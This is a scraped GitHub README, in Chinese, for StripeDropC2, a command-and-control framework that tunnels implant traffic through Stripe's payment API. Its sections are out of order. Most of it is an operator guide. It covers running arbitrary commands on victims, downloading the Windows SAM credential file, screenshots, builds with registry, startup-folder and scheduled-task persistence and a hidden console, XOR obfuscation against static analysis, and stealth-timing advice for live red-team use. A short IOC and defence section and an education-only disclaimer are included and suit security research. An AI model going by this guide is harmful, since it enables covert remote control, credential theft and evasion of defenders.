infosecninja/StripeDropC2
GitHub: infosecninja/StripeDropC2
一个利用 Stripe 支付 API 作为隐蔽通信通道的概念验证 C2 框架,用于演示和评估对云服务流量伪装的检测能力。
Stars: 0 | Forks: 0
# StripeDropC2
# Select an implant to interact with
info # Show detailed info about current implant
```
#### 命令执行
```
whoami # Execute any Windows command
ipconfig /all # Commands run directly without 'exec' prefix
dir C:\Users # Results stream back automatically
```
#### 文件操作
```
upload local.txt C:\Users\Public\remote.txt # Upload file to target
download C:\Windows\System32\config\SAM local_sam.dat # Download from target
```
#### 屏幕截图
```
screenshot # Capture desktop and auto-save to ./screenshots/
```
#### 隐蔽配置
```
config show # Display current implant configuration
config preset low # Fast response (2-5s poll, detected easily)
config preset balanced # Moderate stealth (5-15s poll, default)
config preset high # High stealth (30-60s poll)
config preset paranoid # Maximum stealth (120-300s poll)
config poll 5000 15000 # Custom poll interval (5-15 seconds)
config heartbeat 20 40 # Custom heartbeat interval (20-40 seconds)
config reset # Reset to compile-time defaults
```
#### 维护
```
pending # Show pending commands for current implant
clear # Remove all stale Stripe objects
exit # Exit operator console
```
## 构建配置
### 隐蔽配置
| 配置 | 轮询间隔 | 心跳 | 检测风险 | 响应时间 |
|---------|---------------|-----------|----------------|---------------|
| **LOW** | 2-5s | 15-30s | 非常高 | 立即 |
| **BALANCED** | 5-15s | 25-35s | 中等 | 快速 |
| **HIGH** | 30-60s | 120-180s | 低 | 缓慢 |
| **PARANOID** | 120-300s | 600-900s | 非常低 | 非常缓慢 |
### 编译时标志
添加到构建命令的 `-p:DefineConstants=""` 中(以分号分隔):
**隐蔽配置**(选择一项):
- `STEALTH_LOW` - 快速响应,极易被检测
- `STEALTH_BALANCED` - 默认推荐配置
- `STEALTH_HIGH` - 缓慢但隐蔽
- `STEALTH_PARANOID` - 最高隐蔽性,非常慢
**持久化**(可选,可组合):
- `PERSIST_REGISTRY` - HKCU Run 键
- `PERSIST_STARTUP` - 启动文件夹快捷方式
- `PERSIST_TASK` - 计划任务(每天上午 9 点)
**OpSec**:
- `HIDE_CONSOLE` - 无可见窗口(隐蔽操作必需)
- `ALLOW_DYNAMIC_CONFIG` - 启用运行时配置更改(推荐)
### 构建命令示例
**开发/测试**(可见控制台,快速轮询):
```
dotnet publish Implant.csproj -c Release -r win-x64 \
-p:DefineConstants="STEALTH_LOW"
```
**实战红队**(隐藏,持久化,均衡隐蔽性):
```
dotnet publish Implant.csproj -c Release -r win-x64 \
-p:DefineConstants="STEALTH_BALANCED;HIDE_CONSOLE;PERSIST_REGISTRY;ALLOW_DYNAMIC_CONFIG"
```
**最高隐蔽**(缓慢但几乎不可见):
```
dotnet publish Implant.csproj -c Release -r win-x64 \
-p:DefineConstants="STEALTH_PARANOID;HIDE_CONSOLE;PERSIST_TASK;PERSIST_REGISTRY;ALLOW_DYNAMIC_CONFIG"
```
## OpSec 注意事项
### 优势
- **合法基础设施**:所有流量均发往 Stripe.com(受广泛信任)
- **全 HTTPS**:无自定义协议或异常端口
- **云弹性**:无单点故障,全球分布式
- **速率限制**:内置节流防止产生可疑的高请求率
- **字符串混淆**:XOR 加密防止从二进制文件中提取字符串
- **动态重新配置**:无需重新编译即可更改时间间隔
### 局限性
- **API 密钥暴露**:如果密钥泄露,整个 C2 将被烧毁
- **Stripe 速率限制**:测试模式限制为每秒约 100 个请求
- **账单痕迹**:实时模式会创建财务审计跟踪
- **网络异常**:对于目标组织而言,高频的 Stripe API 调用可能不寻常
- **元数据限制**:每个字段 500 个字符,对于大数据需要分块
### 最佳实践
1. **始终使用 Stripe 测试模式**进行 C2 操作(无真实扣费)
2. 在每次构建**之前**,使用 `regenerate_key.py` **重新生成 XOR 密钥**
3. **从 BALANCED 配置开始**,根据检测风险进行调整
4. **监控操作员速率限制** - 如有需要,使用 `config preset` 减速
5. **定期清理** - 运行 `clear` 命令移除过期对象
6. **避免可预测的模式** - 内置了抖动计时,但仍需进一步随机化
7. **在隔离环境中测试**后再进行实际部署
## 检测与防御
### 妥协指标 (IOCs)
**网络:**
- 高频向 `api.stripe.com` 发出 HTTPS 请求
- 非金融系统异常使用 Stripe API
- 来自与合法支付处理无关的可执行文件的 Stripe API 调用
**主机:**
- 位于异常位置的名为 `stripe.exe` 或 `MsMpEng.exe` 的二进制文件
- 注册表项:`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityUpdate`
- 位于 `%APPDATA%\Microsoft\Windows\WinSxS\MsMpEng.exe` 的文件
- 计划任务:`EdgeUpdateTask`
**行为:**
- 到 Stripe API 的规律心跳模式
- 带有看起来像加密字节数组的大型元数据操作
- 具有非标准名称(`heartbeat-`,随机 GUID)的 Customer 对象
### 防御措施
1. **网络监控**:对来自意外进程的 Stripe API 调用发出警报
2. **EDR 规则**:标记进行支付 API 调用的可执行文件
3. **Stripe 仪表板**:监控异常的 Customer 对象创建模式
4. **应用白名单**:仅允许已知支付应用程序访问 Stripe
5. **内存分析**:在进程内存中查找 XOR 解密的字符串
## 贡献
欢迎各种贡献!请随时提交 pull request 或针对以下内容开启 issue:
- 额外的命令实现
- 改进的隐蔽技术
- 更好的错误处理
- 文档改进
- 检测/防御研究
## 参考与致谢
- Stripe API 文档:
- .NET 单文件部署:
- C2 隐蔽通道研究:各种 MITRE ATT&CK 技术
## 许可证
本项目基于 MIT 许可证授权 - 详情请参阅 LICENSE 文件。
## 教育目的
该工具纯粹出于教育目的和授权安全研究而开发。它演示了:
- 创造性地滥用合法云 API 进行 C2
- 现代化的 .NET 恶意软件开发技术
- 基于 Python 的 C2 操作员界面
- 通过合法基础设施进行逃避
- 红队行动安全实践
请负责任地使用,且仅在授权环境中使用。
**专为安全研究人员、渗透测试人员和红队打造**
*"藏身的最佳地点就在众目睽睽之下"*
一个隐蔽的 Command & Control (C2) 框架,利用 Stripe 的 API 基础设施作为通信通道,通过合法的云服务提供隐蔽性和弹性。
   ## 法律免责声明 **本软件仅供教育和授权的安全研究目的使用。** 未经双方事先同意,使用本软件攻击目标是非法的。开发者不承担任何责任,也不对因使用本程序造成的任何滥用或损害负责。仅在拥有适当书面授权的授权渗透测试或红队交战中使用。 ## 概述 StripeDropC2 是一个概念验证 C2 框架,演示了如何滥用云支付 API 作为隐蔽通信通道。通过将 C2 流量伪装成合法的 Stripe API 调用,它可以逃避传统的网络监控,并与正常的业务流量无缝融合。 ### 主要特性 - **隐蔽通道**:使用 Stripe Customer 对象作为加密消息投放点 - **流量伪装**:所有通信显示为发往 Stripe 的合法 HTTPS API 调用 - **字符串混淆**:编译后的二进制文件中使用 XOR 加密字符串,以逃避静态分析 - **动态配置**:实时调整轮询间隔和隐蔽配置 - **文件传输**:支持分块上传/下载并自动重组 - **屏幕截图**:通过集成 GDI+ 进行远程桌面监控 - **持久化**:多种安装方式(注册表、启动项、计划任务) - **隐蔽模式**:四种配置,从快速响应到最高隐蔽性 - **自我保护**:自动重定位到看似合法的 Windows 路径 ## 演示视频 ### 文件传输(上传/下载) 演示分块文件上传和下载,支持自动重组和进度跟踪。
标签:C2框架, DNS 反向解析, IP 地址批量处理, Python, 免杀技术, 多人体追踪, 安全学习资源, 无后门, 暴力破解检测, 流量伪装, 网络信息收集, 逆向工具, 隐蔽通信